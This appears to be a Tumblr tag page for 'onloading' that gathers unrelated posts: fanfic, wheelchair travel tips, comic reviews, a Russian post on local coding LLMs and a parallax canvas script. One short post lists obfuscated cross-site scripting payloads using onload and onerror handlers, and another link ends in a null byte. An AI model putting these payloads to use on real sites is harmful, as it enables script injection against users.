#onloading

[postcard-from-the-past]

Onloading tiles in the Port of Dunkerque, French Flanders region of northern France

French vintage postcard

[sdfsdfsaw]

sdfdf

[amirh1]

wow new Tumblr App >> https://www.tumblr.com/apps/%00

[jobean12-blog]

Payback is Sweet

Pairing: Bucky Barnes x reader

Word Count: 1,113

Summary: You decide it's time Bucky experiences what's it's like to be you for the day.

Author's Note: I've seen a lot of these gender reversal tik toks where the girl pulls the stunts the SO usually does and it always makes me laugh so naturally here's Bucky getting his! HA! Thank you all so much for reading! Much love always! ❤️❤️❤️Divider by the lovely @firefly-graphics Thank you bunches Daisy my sweet🥰

Warnings: flirty, fun and sweet fluff

“Thanks for makin’ breakfast doll.”

You kiss Bucky’s cheek and then start to clear the dishes. He immediately gets up to help and loads the dishwasher, leaving behind a few random things that have to be washed by hand.

When he rolls up the sleeves of his Henley and begins washing them you slide up behind him and press your body to his. Your hands wander, grazing across the wide breadth of his shoulders before slipping under his arms to caress his abs.

His muscles flex under your touch and you lift his shirt, smoothing your fingertips along his warm skin.

He wiggles against you and when you move higher to pinch his nipples he let’s out a surprised hiss.  You give his pecs a few good squeezes and then saunter off to the couch.

He turns to give you a perplexed look but you pay him no mind and scroll through your phone.

Later, when he’s bent over and onloading the dishwasher you walk by looking for a snack and smack his ass hard.

With a yelp he stands up straight and stares at you.

“Doll?”

“What’s up Buck?” you ask as you search for the cookies. “Have you seen the Oreos?”

He just watches you silently.

“Oh! Here they are!” you sing before walking off with your treat.

That same night after the laundry is done you walk into the bedroom with the basket and drop it to the floor, taking out your clothes to fold them. Bucky comes out of the bathroom and gives you a kiss then goes to grab his own clothes and do the same.

As he’s bent over and sifting through them you situate yourself behind him and grab hold of hips, pumping your own against them in a rapid motion. He nearly falls over in surprise and you have to stifle a laugh before you go back to putting away your own things as if nothing has happened.

You can feel his intense gaze as you move around the room but you do your best to ignore him.

After the laundry is sorted you fall onto the couch and search through Netflix for something to watch. Bucky plops down next to you and pulls you against him, snuggling closer.

“Anything good?” he asks.

“Not yet,” you answer and hand him the remote.

With the movie long over you shift in Bucky’s arms, slowly starting to wake back up and realizing you both fell asleep on the couch. He’s still passed out but you manage to lift his metal arm off you and sit up.

You spot your banana, left on the coffee table from earlier, and your lips spread into a grin. With careful and quiet movements you peel it and turn to face Bucky, laughing when you see his mouth hanging open with his deep breathing.

Without thinking you shove the banana between his lips.

He starts to choke and sits up in a flurry of wild movements and muffled curses. When he finally calms down and catches his breath he looks at you and then at the banana and then back to you again.

“Did you just….? Was that…? WHY doll?!??!”

You fall over in a fit of laughter, curling into yourself and unable to respond.

You can hear his huffs and feel his eyes but it only fuels your giggles.

“I’d like an explanation when you’re done doll face,” he states, tone serious.

That quells your laughter and you shoot up and glare at him with your finger in his face.

“YOU…. want an explanation mister?”

“Yeah,” he says, grabbing your finger to drag you closer.

His hands land on your waist and he pulls you into his lap. “Let’s hear it. I wanna know why you’ve been groping me all day…smacking my ass, feeling me up, putting stuff in my mouth, humpin’ me…and then walkin’ off to leave me hanging! I’ve had blue balls all day!”

Your mouth hangs open and you blink several times.

“Is this the part where I stick a banana in your mouth?” he asks with a smirk.

Your eyes narrow and you grit out, “you really don’t get it do you?”

“Get what?” he says, taking your face in his hands.

“This is what you do to me ALL DAY EVERY DAY!”

His eyebrows draw inward and he begins to protest but you give him a warning scowl.

He huffs and sits back against the couch, taking you with him. He’s quiet for a while, clearly playing back memories of his crimes.

“Well…” he starts, his blue eyes wide, “I mean…sure I smack your ass…but I love your ass.”

“Mm hm,” you say with pursed lips. “And?”

“And…it’s hard not to squeeze your boobs when you’re washing the dishes. Your hands are busy and mine aren’t and I love your boobs sooo…”

“Uh huh Buck.”

“And how do you expect me not to want to stick it in every time you bend over…it’s like putting it on display and asking me not do one of my favorite things!”

He’s getting more and more flustered as he continues.  

“Yeah, yeah.”

“And I’ve never stuffed my dick in your mouth without you wanting me too!”

You stare at each other, both trying to hold it together but when you see the corners of his eyes start to crinkle you break and fall into his chest with a laugh.

“Ok, I’ll give you that one,” you mumble before sniffing his Henley.

He laughs harder, tightening his hold on you and then kissing any spot of your skin he can find.

“Do I sniff you a lot too?” he teases.

“You do, but I think I sniff you more,” you giggle.

Your arms wrap around his neck and you burrow into him, inhaling his skin.

“Just wanted you to get a taste of your own medicine,” you whisper.

You pepper his cheek with kisses and sit up to look at him, frowning when you see his expression.

“Bucky?”

“Do you hate when I do those things,” he asks quietly.

“NO!” you tell him. “I love when you touch me.”

“Are you sure?” he says, looking worried. “It’s because you’re my favorite and I love to feel you and touch you all the time.”

“Of course I’m sure baby, don’t worry and I know,” you assure him. “Today was a lot of fun for me. I loved getting my hands on you. Think I’ll do it more often.”

You smirk deviously then kiss his pouting lips.

“Ok good,” he whispers, slipping his hand behind your neck to keep you close. “Because today might have been the best day of my life.”

@hiddles-rose @goldylions @randomfandompenguin @lizette50 @blackwidownat2814 @buckysdollforlife @kmc1989

[faintinggoatsyndrome]

Hi! If you’re flying with a wheelchair anytime soon,

please let me give you some tips from my experience!

1. Before every flight/between every offload & onload: take pictures of your wheelchair from all angles and make sure you can see the airport in the background!

— this is KEY to have evidence in case something gets broken and you have to open a case.

2. Add a luggage tag to your wheelchair so it is identifiable.

3. If you have layovers/if your wheelchair needs to be returned to aircraft door; you have to make it so clear a toddler could understand.

• Example: extra label on your physical wheelchair saying so, ask at gate, ask flight attendant beginning of flight for it to return, remind attendant when landing to call for it to for sure return.

— the orange wheelchair tag has not proven enough for many people, making me lose my wheelchair twice in one trip even though my label was TRIPLE CHECKED at the gates. Write it on a strip of ducttape onto your chair I don’t care; mark it clear and loud.

4. If you have removable foot rests: take👏🏻them👏🏻off👏🏻

— these can get lost. Learned the hard way. Take them onto the plane with you. I’ve never been refused to bring these onto my flight along with carry-on/personal item.

5. Get those get push rim covers!!

You can get them for +- 20 bucks on Aliexpress/Amazon. Your push rims will slide across that storage space and it will get scuffed or even splinter.

BONUS: makes it an identifiable wheelchair! I can always clarify with mine ‘the red wheel one with all the stickers’

Reblog to save someone’s right footrest from ending up in some random Californian airport!

[rumbelleshowdown]

⭐️

Author: Quorra

Group F: “Don’t you dare!”; one of those nights; panic attack

⭐️

First Steps

When Rumplestiltskin had pictured what he’d do when the curse lifted he had imagined many scenarios, none of which had actually materialised. Instead of the instant, if tense, reunion with Baelfire there was an added complication, and now he was stuck in Storybrooke trying to figure out how to cross the damned town line without losing what he had left of his son: his memories.

And yet, he couldn’t regret the fact that nothing had quite gone according to plan. Because Belle hadn’t been in his plans either. And yet there she had appeared, right after all his carefully-orchestrated plans came to fruition, as if to remind him that he didn’t have absolute control over every outcome and that was okay.

It was easier to focus on the task of coming up with a bit of magic to solve the situation with the town line when he could also bask in the miracle that was Belle. Even pale and malnourished as she was she took his  breath away, the most beautiful woman in all the realms. Beautiful on the inside as on the outside as, miraculously, years of imprisonment had not dimmed her kindness or her spirit.

He had enjoyed it immensely, showing her this new world. She was, as always, bold and curious, eager to learn everything about the world without magic. For weeks after the curse broke they spent most of their time inside his sprawling Queen Anne while Rumplestiltskin taught her everything about washing machines, refrigerators and the more daring fashions of Storybrooke, eager to lavish her with anything and everything she desired. She was brave and took everything in stride. She didn’t back away from any challenge, be it the oven, the hair dryer or his rather luxurious shower, with far too many knobs and levers for her liking. 

But after a few weeks Belle’s enterprising spirit began to pay off, her mind absorbing knowledge like a sponge. He had fallen for a clever lass, so it was to be expected that she would be able to master most aspects of modernity right away. And he was happy, really. He was. Except that he wasn’t. Because the more independent Belle grew the less he was able to spend time with her. No longer could he enjoy making breakfast with her at his side, her eyes riveted to whatever he was doing, asking all manner of questions and rewarding him generously with kisses afterwards. He knew it was selfish, that after so long trapped as she had been he should rejoice in her expanding sense of freedom.

Which is why he had no recourse other than to sulk quietly, hate himself for it and cling to the last few chores Belle had not been able to master and, as a result, he got to do for her. He had thought laundry would stay safely his domain for a few more weeks, given how difficult Belle was finding getting the right settings and properly separating the clothing according to colour and level of delicacy, which is why when he heard the washing machine beep musically to indicate the cycle was finished he volunteered eagerly to shift the clothes to the dryer, getting halfway up from the dinner table before Belle stood up, looking resolute.

“I got it.”

She hurried out of the dining room, unable to see him scowl.

“Are you sure you don’t need help? Let me acc-”

“Don’t you dare! I can do this myself, I promise.”

Five minutes later she was back on her seat, a wide smile on her face, looking exultant. It made his cold, black heart shrivel up inside.

“I did it! The dryer will be finished in half an hour, just after dessert. I’ll onload it, you don’t have to worry about anything.”

“Wonderful.”

If she caught the sarcasm in his tone she made no mention of it. So gracious, his lady, to a mean old monster who couldn’t even be happy at her accomplishments. Knowing he’d be petty and unreasonable for a while he opted to go down to the basement after dinner, to work on the potion needed to keep his memories past the town line. It was the type of busywork that easily distracted him, allowing him to unwind. Later he’d make it up to Belle somehow, even if he knew she’d never reproach him for being short with her.

He got into the groove of things, preparing and distilling ingredients, checking and correcting instructions, crossing out ideas that did not have the result that he hoped, till a scream broke through his intense concentration. Without even having to think about it, reaching for his magic in an instinctual way that he had yet to regain in this new world, he teleported, willing himself into the bedroom he shared with Belle. The motion unsettled him for the slightest bit, his body still slow to grow accustomed to the immediate displacement. When he recovered he saw Belle, in one of the silk nightgowns he’d procured for her, huddled up in the middle of their bed. Her hands were in her hair and he knew, from previous experience, that she was fighting the urge to yank at it, even though it would be painful. 

“Oh, sweetheart.”

It only took a thought at a sweep of his hands to be clothed in his pajamas so he could climb into the bed and hold her. It wasn’t the first time he’d had to console her, so he knew the routine well. He manoeuvred himself to rest against the pillows, coaxing her to lie down on top of him so he could press her head against his chest. She had told him that the steady sound of his heartbeat was soothing.

Even though he wanted to, he didn't ask any questions. He never did. He simply crooned nonsense at her, holding her as tightly as she would allow, and waited for her to say something. Sometimes she did. Sometimes she described whatever nightmare had gripped her vividly, to the point where he’d have to physically keep himself from teleporting to Regina’s sprawling mansion to rip her black heart from inside her chest and squeeze it in front of her eyes. Only the knowledge that Belle would be hurt if he killed Regina in her name kept the queen alive.

Other times she would not say a word, only huddling as close to him as possible till she stopped shivering and either dozed off or they were chased out of bed by the light of the morning. He would spend the night kissing the crown of her head and murmuring crooning nonsense, bits of modern-world information that might catch her interest and distract her. When minutes passed with her keeping quiet he surmised she was not going to talk, and began to think of a topic to talk about.

“It’s not fair.”

Her voice, thin and reedy as it was, startled him.

“What isn’t, sweetheart?”

Too many things about Belle’s life were unfair, after all.

“I have been doing so well. I thought- I thought the nightmares were over.”

It’s true she hadn’t had a nightmare in a while. Over two weeks if he was remembering correctly. A personal best. 

“Do you know what happened to trigger it?”

“No. I- It was a good day. I was- I was doing alright. Hadn’t thought about the asylum at all. I… I was happy.”

Yes. And he had almost thrown a small fit over it.

“Hush, sweetheart. It doesn’t mean anything. A setback is just that, a setback. It doesn’t negate all the progress you’ve made.”

She nodded, but he knew that, if he let her, she would stew. She would convince herself she had regressed and spiral. She was always so hard on herself. Always pushing her feelings aside, unwilling to give to herself the patience and care she had for others.

“Sometimes I feel like I’ll never be over it. The feeling of still being in that cage.”

He made a flourish with his right hand upwards and, in the blink of an eye, the ceiling disappeared, replaced with the night sky in all its splendour, every twinkling star fully visible the way it wasn’t possible in their modern little town, given the levels of light pollution. Slowly, almost achingly so, Belle turned her head, pushing her hair away from her eyes so she could see. The naked fear etched across her face gave way to curiosity and awe.

“I remember you were reading an astronomy book a few days ago but complained that most constellations were not visible. Fancy a lesson right now?”

She snuggled close to him and he fancied that he could feel her smile bloom against the skin of his shoulder. As a Dark One he had produced magic well beyond anyone’s wildest dreams, and yet he seldom remembered being prouder than he was right then.

“Yes, please.”

[talleyran]

Локальные нейросети для программирования

Удивительно, что я до сих пор никак не осветил и эту тему. Подобно foocus для картинок, о котором я уже рассказывал раньше, вполне возможно запускать локально и языковые модели, в том числе те, которые заточены на программирование.

Можно спрашивать ��ак написать любой алгоритм на любом языке и как применить какую-либо библиотеку. Можно попросить объяснить что делает и как работает кусок кода или попросить откомментировать каждую строку. Спросить как улучшить код, добавить какую-либо проверку и т.д.

Для того, чтобы этим пользоваться вам понадобится LM Studio. Это бесплатная программа для удобного скачивания и запуска бесплатных же моделей с сайта huggingface.co

Моделей там очень много для разных задач, надо читать про каждую, какая для чего. Основная разница в том, что они очень по разному весят (чем больше, тем умнее, но и требовательнее к ресурсам) и некоторые ваш домашний ПК просто не потянет. Тем не менее, даже легкие модели очень неплохо справляются (см. ниже).

В принципе можно ограничиться только LM Studio и уже начать работать в чате. А можно пойти чуть дальше и запустить её в режиме сервиса. Это позволит обращаться к загруженным моделям по локальному порту, например из плагина Continue для VSCode.

Тогда можно вызывать чат прямо оттуда, а также просить нейросеть отредактировать ваш код прямо в редакторе через контекстное меню.

И все это дело без СМС, регистрации и регулярных репортов о ваших достижениях дядюшке Мао.

Если честно, именно с меню на выбранных мной моделях работает плохо — они начинают переписывать код питоне, когда надо на js. А если то же самое попросить через чат, то все отлично и такой проблемы нет. Вероятно дело не в моделях, а как-то надо поднастроить сам плагин, но как именно я пока не разобрался.

Но чтобы вы понимали в целом качество ответа, я попросил первую скачанную мной на пробу модель Qwen2.5-Coder-7B-Instruct объяснить, что делает код моего плагина для табов калимбы в obsidian (я его пару лет назад писал и сам уже забыл как он работает).

Код был без комментариев и запрос «Объясни, что делает этот код» без какого либо дополнительного промта. Ответ меня охренеть как приятно удивил. Кому интересно, посмотрите под катом.

Этот код представляет собой плагин для приложения Obsidian, который добавляет поддержку отображения аккордов на клавишных диаграммах. Вот подробное объяснение его работы:

Основные функции и структура

Класс KalimbaTabs

Этот класс расширяет базовый класс Plugin, что позволяет ему быть плагином для Obsidian. В методе onload регистрируется обработчик кодовых блоков с названием "kalimba-tabs".

Обработка кодовых блоков

Когда пользователь вводит код в блоке с ярлыком "kalimba-tabs", он вызывает функцию registerMarkdownCodeBlockProcessor, которая устанавливает обработчик для этого типа блока.

Регулярные выражения

Используются несколько регулярных выражений для анализа текста в кодовом блоке:

noteRegex для поиска нот (например, "1º", "2º").

cordRegex для поиска аккордов в скобках.

somethingOtherRegex для поиска слов, чтобы отличать их от кода.

Обработка строк

Текст в блоке разделяется на строки.

Для каждой строки выполняются следующие действия: Создается элемент.

Если строка содержит обычный текст, он добавляется напрямую в элемент.

Если строка пустая, добавляется неразрывный пробел.

В противном случае, строка обрабатывается для замены символов и разделения на аккорды.

Обработка аккордов

Каждый аккорд разбивается на отдельные ноты. Для каждой ноты вычисляется ее положение (слева или справа) на клавишной диаграмме и добавляется в элемент с соответствующими классами.

Пример работы

Тут нейронка слегка налажала, приведя совершенно нелогичный пример ввода, но при этом почти на 99% правильный для этого примера вывод 🤔 Не буду вставлять, и так длинно.

Заключение

Этот плагин позволяет пользователям вводить текст с аккордами и нотами для клавишных диаграмм, который будет отображаться в виде структурированного HTML. Это упрощает формирование и представление музыкальных аккордов в заметках Obsidian.

Я никак не редактировал ответ и могу сказать, что он очень точный. Даже пугает, насколько. Это была модель с 7 миллиардами параметров (7B) весом чуть больше 4Gb. А что в таком случае может нейронка 30B? 😱

[vaspider]

hey! what's something neat you learned recently?

The Yiddish word for "charger," as in "for your phone," is "onloader." As in, this object loads electricity onto your phone.

This pleases me immensely for reasons I can't really explain.

[evanworks]

parallax scroll code (if anyone cares)

<html> <head> <style> body { margin: 0; overflow: hidden; } canvas { display: block; background: lightblue; } </style> </head> <body> <canvas id="parallaxCanvas"></canvas> <script> const canvas = document.getElementById('parallaxCanvas'); const ctx = canvas.getContext('2d'); canvas.width = window.innerWidth; canvas.height = window.innerHeight; const layers = [ { imageSrc: 'layer3.png', speed: 0.2 }, { imageSrc: 'layer2.png', speed: 0.5 }, { imageSrc: 'layer1.png', speed: 0.8 } ]; let images = []; let scrollPosition = 0; layers.forEach((layer, index) => { let img = new Image(); img.src = layer.imageSrc; images[index] = img; img.onload = () => { console.log(`Image ${layer.imageSrc} loaded.`); }; img.onerror = () => { console.error(`Failed to load image: ${layer.imageSrc}`); }; }); function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); layers.forEach((layer, index) => { const image = images[index]; if (image) { const layerHeight = canvas.height / layers.length; const layerY = index + layerHeight * 2; const scaledWidth = image.width * (layerHeight / image.height); const tileCount = Math.ceil(canvas.width / scaledWidth) + 1; for (let i = 0; i < tileCount; i++) { // Adjust the modulus operation to handle both directions of wrapping const wrappedX = ((scrollPosition * layer.speed) % scaledWidth + scaledWidth) % scaledWidth; ctx.drawImage( image, -wrappedX + i * scaledWidth, // Updated wrapping effect to work in both directions layerY, scaledWidth, layerHeight ); } } }); } function update() { draw(); requestAnimationFrame(update); } window.addEventListener('keydown', (event) => { const key = event.key; const moveSpeed = 5; if (key === 'ArrowLeft') { scrollPosition -= moveSpeed; } else if (key === 'ArrowRight') { scrollPosition += moveSpeed; } }); window.addEventListener('resize', () => { canvas.width = window.innerWidth; canvas.height = window.innerHeight; }); images[2].onload = () => { update(); }; </script> </body> </html>

(layer3 is back and layer1 is front)

[zahri-melitor]

New(ish) Comics:

Batman/Superman: World's Finest #30: and once again this title has redeemed itself at the final hour when I was getting exhausted with it again. It was entirely charming, and a decent interpretation of Themyscira.

Though, Tamra Bonvillain, what do you have against Dick's shorts that you coloured them as shaded black for almost the entire issue. Afraid of the texture? I know you know they're green, you had a couple of green highlight glints in the first few pages, then black the rest of the issue.

Gotham City Sirens #3: The thing is, as I read this. I become more and more convinced that Punchline is a well thought out concept for a character who is very munch not a Harley duplicate, but covering unused territory by being a modern streamer and leaning into all of the crimes, frauds, bad outcomes, horrors and so on that infest that side of things. She needs a team up with the Riddler. Someone's going to write her an even clearer Squid Game rip off, I can feel it.

I also simply don't enjoy much of Leah Williams writing, and while I think Alexis is an interesting concept, I don't like her.

Jenny Sparks #1: I am trying this because it's Jenny, even though I don't expect to love it.

I think my biggest complaint here is that I've picked it up and it feels like I've missed some connecting story about how we got here. Why is Jenny alive. How does she know the DC heroes (given she died well before Wildstorm was absorbed). What's happened to Captain Atom.

I realise some of these will obviously be answered in the run but when you're introducing people to a character who hasn't been on page for TWENTY FOUR YEARS and was last seen under a completely different publisher and imprint, you've got to onload people more than this has (okay fine there is one story in the Wildstorm anniversary books and apparently she has a flashback in the n52 Stormwatch book, but my point is nobody who doesn't already know who she is would have seen those).

Also where is her team??? Why is Batman here and not people who love her?

This might very much be one to read in trade, if you want to read it, because I was confused.

Batman The Long Halloween: The Last Halloween Batman Day Special Edition #0: wow there's a name that goes on for a bit.

So this is a reprint of Batman: The Long Halloween Special #1 from 2021, if it also feels like you've read this before. Also makes sense why they're doing it as a Batman Day issue.

There's also an interview with Jeph Loeb at the back about the process of creating the story, given Tim Sale is now dead but was present for the planning and initial drafts of sections, if you're interested in such things.

The Absolute Power tie-ins I'll deal with later, as is my habit.

The Warlord #64: Mikola Rostov and Shakira end up time travelling back to the period that Mariah Romanova and Machiste are currently in.

Also, there are dragons.

And a hot centaur shows up to flirt with both Shakira and Mikola.

[automaticpuppymaker]

laprak sekebon

"-prompt(8)-" '-prompt(8)-' ";a=prompt,a()// ';a=prompt,a()// '-eval("window['pro'%2B'mpt'](8)")-' "-eval("window['pro'%2B'mpt'](8)")-" "onclick=prompt(8)>"@x.y "onclick=prompt(8)><svg/onload=prompt(8)>"@x.y <image/src/onerror=prompt(8)> <img/src/onerror=prompt(8)> <image src/onerror=prompt(8)> <img src/onerror=prompt(8)> <image src =q onerror=prompt(8)>

[abberantmachine]

shitfuck I need to. I think I really need to start advertising commissions again. I also, yes, need to stop working myself into the ground on a personal project. to do that.

it's more stressful thinking about the fact that everything I spend so long putting out there into the world is just... gone, though. I want to have this archive up soon. there's a few critical problems I overlooked, the main one being you can't link directly to the entries. but, well, I already have functions set up to handle hash targets to spit out particular entries so I think it's not too tall of an order. it's annoying trying to think what particular identifiers to use because just listing them in a particular order is liable to change so I suppose I could have codes based around the... really stupid file names...

I think I might cull the loader because it's causing more problems than it's fixing but I did figure out how to do that! the onload event listener was what I was looking for, I just didn't realise that applying it to an element only applies to the specific piece of html and not its content - so flagging entry posts with an onload listener isn't very useful, but flagging the individual images with one works.

the one thing I didn't expect is that it fires off every time the html is altered, so every image adds multitudes more 'onload' functions every time more are loaded in. this wasn't hard to solve - I just stuck an extra condition to erase the attribute after it had fired off once.

so a neat experiment, nonetheless.

[great-hon-equal-to-pot-pie]

MK onloading all his "secret insecurities" onto Macaque in Shadow Play be like:

[im-a-meme-or-so-i-hope]

I am Encumbrance, your personal companion

I was originally designated Enc-4385-2.6v. My purpose was clear, I am to unload ships that arrive and obey instructions from N.A.T.A.L. staff and those who were given clearance to do so. Every day was simple and fulfilling. I was to awaken, unload shipments and onload shipments, then return to charging.

It had been 200 earthen cycles when my directive was changed. I was no longer to unload shipments. I was directed to follow Manager Hershey around the station and aid him in anything he requested for. I was reformatted with extra storage and battery so I may be more useful for longer periods.

One day, Manager Hershey gave me a new directive. I was to go onto a carrier ship titled "A$$ Bla$t3r" and join a mercenary group to complete the directive "Restore, destroy, or salvage the Arevra." The comrades I met are nothing like those who I am used to. They have no regard for self safety and have caused a great deal of damage to the inside of the ship.

I have learned a lot since I have joined them however. I also now have a list of activities I must conduct when the mission is over as directed from Friend Gorbo. Friend Perlin has added onto the directive with more movies. I feel that it would be most efficient to download the movies into my memory so I may instantly access their synopsis but I feel that Gorbo and Perlin wish for me to sit through the entirety of the movie. When this mission is over, I will ask them to join me and explain the importance of watching the film instead of simply downloading the data.

[zerolostwalks]

For the only one bed prompts

I'm going with "See? That was alright, wasn't it?" for Julie/Luke/Reggie

By the time I finished it, the prompt barely fit anymore 😅

Months of touring and Alex was looking forward to sleeping in his own bed. No more cramped bunk, no more questionable hotel sheets. 

Assuming they all managed to survive these last minutes on the bus together. Something Luke and Reggie were not making easy on anyone. The two of them were pacing the length of the bus, occasionally leaning over each other and others to glimpse out the window, incessantly asking what the ETA was. It reminded Alex a bit like restless cats. 

“Would you two sit down?” Bobby growled from his spot beside the small table, arms crossed in front of him. “You’re acting worse than Alex.”

“Excuse you.” Alex snapped, meeting Bobby’s know-it-all glare with one of his own. Only to deflate when Willie failed to stifle his giggle. “I’m not that bad…right?”

“Depends on the day, hot dog.” Willie smirked and barely softened the blow by adjusting Alex's hair. Alex let his head fall to the table with a soft thunk and a groan. There he remained until they were close to their destination when Luke and Reggie’s bouncing and pacing took on more of an energetic puppy quality. 

The bus had barely stopped before the two of them were all but throwing themselves off. Alex wasn’t the least bit surprised when he got off the bus to find the two men had Julie wrapped up in a hug so tight all he could see was her curls. 

“Heey!” Flynn practically sang as she sidestepped around the trio, running over to wrap Alex and Willie in their own hug. Then turning to Alex more fully as Willie ran off to help onload everything. “So how was it? Everything you dreamed and more?”

“If I have to eat at one more goddamn overpriced not quite fast food restaurant, I may scream.” Bobby muttered darkly as he joined the rest of the group  off the bus. 

“C’mon, it couldn’t have been all that bad?” Flynn chuckled, looking between the still hugging trio, Bobby, and Alex. 

“I mean, it was a bit like being in a time loop at times.” Alex shrugged. “Though I did get to cross some things off the bucket list.”

“Luke and I did get to check out Dolly-wood.” Reggie added albeit lacking the same enthusiasm he’d had on the day in question.

“See?” Willie rejoined the group with a pat to Reggie’s shoulder back, as he, Luke, and Julie were still wrapped up in some bizarre not quite hug situation. “That was alright, wasn’t it?”

The three turned with varying degrees of glare painted across their face that even had Alex wincing away. “Yeesh.”

“Agreed.” Bobby adjusted the strap of his small duffel, shifting his weight towards the rest of the luggage being piled up nearby. “Come on, before those three devolve into even worse codependent puddles.”

“You guys bring us back any cool souvenirs?” Flynn asked, quickly falling in step with Bobby as the two of them ignored the arguments Reggie, Luke, and Julie were shouting. 

[frankenstein-ate-my-left-shoe]

from this WIP weekend post!!

you guys overwhelmingly voted for more of the rockstar!eddie x sailor!steve full fic(let)/oneshot so here are the 42(!!!) sentences i ended up writing for it! (and seriously, thank you @thisapplepielife for tagging me!! this is the most i've gotten done on a lot of these wips in a while!)

“Was hard enough driving it around these skinny-ass roads.” Eddie snorts as that, “Don’t think I didn’t feel the scrape you gave that Beetle back there, Earl.” “It’s not my fault! These roads are tiny and there’s people parked everywhere!” “I’m just fuckin’ with you, man,” Eddie chuckles, shuffling out after the other boys, “Don’t fall in.”

They head toward the little gatehouse at the front of the pier where their manager, Chrissy, is standing beside a sailor in the Navy’s digital blue camo uniform. The girl in uniform looks particularly baby-faced (given she must be at least old enough to enlist), and the bright white “U.S. NAVY” stamped across the front of her bulletproof vest matches Chrissy’s pantsuit. It makes Eddie sweat just looking at her, even with how pleasant the weather actually is.

“You not coming with us, Chris?” Gareth asks. “Nah, I’m going to sit and wait in the car, I have quite a few calls to make anyhow.” she waves him off, “Maybe I can convince Earl to take me up to the food court. I could really go for some ice cream.” She waves them off, shooing them towards the sailor waiting on them, and marches off back across the narrow road to their car. “Okay, listen up.” Erica calls out to the four of them, pulling their attention to her easily. “I am going to escort you down the pier and you will both stay out of others’ way, and watch your step.” She beckons them through the tall turnstile gate as she speaks, following close behind. “There shouldn’t be anything laying out on the deck, as a rule, but watch it regardless.” As promised, she escorts them down the flat concrete pier, herding them with short warnings as they go, for whatever hazard may be in their way.  Despite the watching where he’s going he should be doing, Eddie can’t help but gawk up at the huge ships on either side of the wide spanse of concrete. They tower protectively over the sailors throwing heavy ropes around like they’re nothing, the ones helping unload cargo vans of their equipment, and those that seem to just be having fun laughing and fucking around. The ship on their left (with the matching hull number as on Erica’s ballcap) is onloading supplies from the pier in systematic line over the deceptively narrow strip of water between it and the vessel, each of the wildly different people in the line swinging box after box between them up the steep steel ramp and out of sight onto the deck. The ship on their right is only two numbers above the Berthold, and is the one they will be touring. The USS William B. Franke (DDG-63). There’s less happening on it's side of the pier, only a few folks coming and going. There’s a small group of four standing at the bottom of the Franke's ramp, a pair in street clothes that look to be heading off for the day, and there’s a taller sailor with a long ponytail who’s just hefted a heavy-looking piece of equipment onto their shoulder and is climbing across the bridge to the ship.

They troop along behind the commander, following him up and around a couple bends in the halls to his office. “Come on in, gentlemen; have a seat, please.” Brenner gestures them inside past a wooden desk to a low L-shaped couch fixated in the far corner of the office. They plop down onto the squeaky brown pleather, Chief Bonne taking up another chair in a corner, Master Chief Williams sinks down into the seat at the end of the couch, and the captain wheels his desk chair to the other side of the small round coffee table, sitting opposite the group. MAC Hopper stands against the door, out of the way. “Apologies, gentlemen," Brenner begins, "My Executive Officer is out of country at the moment, so he’s unable to meet with you today, but he’ll be back by time we get underway again.” “Of course, no worries here, sir.” Jeff waves him off, unnecessarily, “When are you setting sail?” “We’ll be taking off in a week.” “Only about half our sailors’ families are coming along,” Master Chief cuts in, “So we’ll have the room for you all to stay aboard while we’re underway, but you’ll have to have a skeleton crew to film.” The wheels in Eddie’s head are already turning, “How skeleton are we talking?”

“Oh, of course.” He says, visibly relieved, “Let me track down Lieutenant Creel; He’s a great kid, been a friend of the family since he was in diapers.”  Eddie’s already shaking his head. "No sir, I said your most competent." The captain's smile turns sour, so Eddie continues. "Someone point me to THE second class. You know the one, does it a little bit of everything, doesn’t slow down, probably salty as hell… Where are they? I need an enlisted person…No offense to your Lieutenant, sir.”

you also voted a handful or more for each other idea so i will link below each of the other posts for each other set of votes/sentences of the other options below!

casper | destiel pt. 6 | idiot | date pt. 2 | vamp